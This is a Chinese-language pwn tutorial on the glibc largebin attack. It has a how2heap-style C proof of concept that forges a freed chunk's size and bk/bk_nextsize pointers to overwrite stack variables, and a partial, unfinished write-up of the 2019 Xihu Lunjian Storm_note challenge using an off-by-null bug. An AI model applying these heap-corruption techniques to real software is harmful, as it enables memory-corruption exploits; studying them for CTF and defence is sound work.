跳转至

Largebinattack

largebin attack

还是先了解一下 largebin 是啥

大小:大于 1024 字节

双向循环链表,先进先出,按照从大到小排序

当有空闲块相邻的时候,chunk 会被合并

除了 fd、bk 指针还有 fd_nextsize 和 bk_nextsize

largebin Attack

#include<stdio.h>
#include<stdlib.h>

int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);

    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);

    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

gcc -g 1.c

首先申请了几个 chunk

1601726112454-9d1e1a28-8a3e-4bd6-9466-3f0a191e4f82.png

接下来释放掉前两个

1601726161559-7a577348-14be-4379-98bb-5353469a6bbb.png

接下来去申请一个 0x90 大小的,他会把前面那个 0x320 大小的切割

1601726360130-dfaf8ba3-83bb-4197-89aa-9754c73ff259.png

同时因为我们去申请了,他就会给 unsortedbin 中的 free chunk 进行整理划分,把那两块大的放到 largebin

接下来去修改 p2,之前:

1601727735498-a7be3820-c7a0-4621-9b1c-f9db8cb960df.png

之后:

1601727820165-23bf524c-f1f3-4809-be4b-67fdc63a7e6b.png

我们伪造的分别是 p2 的 size、bk 以及 bk_nextsize,接下来申请一个 chunk,这样的话 p3 就会被整理到 largebin

而 largebin 是按照从大到小排序的,所以需要进行排序,排序的操作大概是:

//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

把 2 带入 4 得到:fwd->bk_nextsize->fd_nextsize=victim

同时下面有:fwd->bk=victim

也就是说之前我们伪造的 p2 的 bk 跟 bk_nextsize 指向的地址被改为了 victim

即 (unsigned long)(&stack_var1 - 2) 与 (unsigned long)(&stack_var2 - 4) 被改为了 victim

1601728189811-ef2c685b-3f20-4b30-93be-b8995387c989.png

2019 西湖论剑 Storm_note

这道题涉及 largebin attack、Chunk Extend

首先还是把程序的功能实现一下方便调用

def cmd(choice):
  p.sendlineafter(('Choice: '),str(choice))

def create(size):
  cmd(1)
  p.sendlineafter('size ?\n',str(size))

def edit(index,content):
  cmd(2)
  p.sendlineafter('Index ?\n',str(index))
  p.sendlineafter('Content: \n',content)

程序有个后门

1598601873993-c0b4902b-42a4-4f56-91bc-4dbe6d80b518.png

在 edit 功能有一个 off by null 漏洞

1598601964886-20b1770c-3fb1-45b3-85a9-6ec734aca196.png

这里禁用了 fastbin 功能

int mallopt(int param,int value)为内存分配控制函数,此处param参数取值为M_MXFAST,控制着fastbin大小上限,此处设置为1,表示禁用fastbin

1598602040951-f97dd6c2-e926-45ee-ad79-914146303060.png

找了很多 exp 都打不通Orz,我又都是跟着 exp 一点一点理解的,很难受Orz

不管打不打得通了,直接调试看看吧,

1598620534078-59e46665-12bb-4661-be6b-4c263563ab2a.png

修改一下最后一个 0x10 的最后 0x8 字节的内容(不理解,待会再看)

1598621185514-0bca624b-9a61-447e-9808-d05984c0bcc4.png

然后把第 1 个释放掉,编辑第 0 个,通过 off by null 来把第一个的 size 位改成 0x500(原本是 0x510)

改掉之后可以看到整个都偏了

1598621497631-f4fa4965-16c9-48af-9bb3-576e983f6816.png

现在,我们之前在第 1 个留的 0x500 就是 2 的 prev_size 了

接下来申请一个 0x18 一个 0x4d8(这俩都是在改掉大小后的 index1 那里正好占起来)

然后 create(0x30) 之后 index2 和 index7 就重合了。。。又不懂了

原文: https://www.yuque.com/hxfqg9/bin/mdrz9g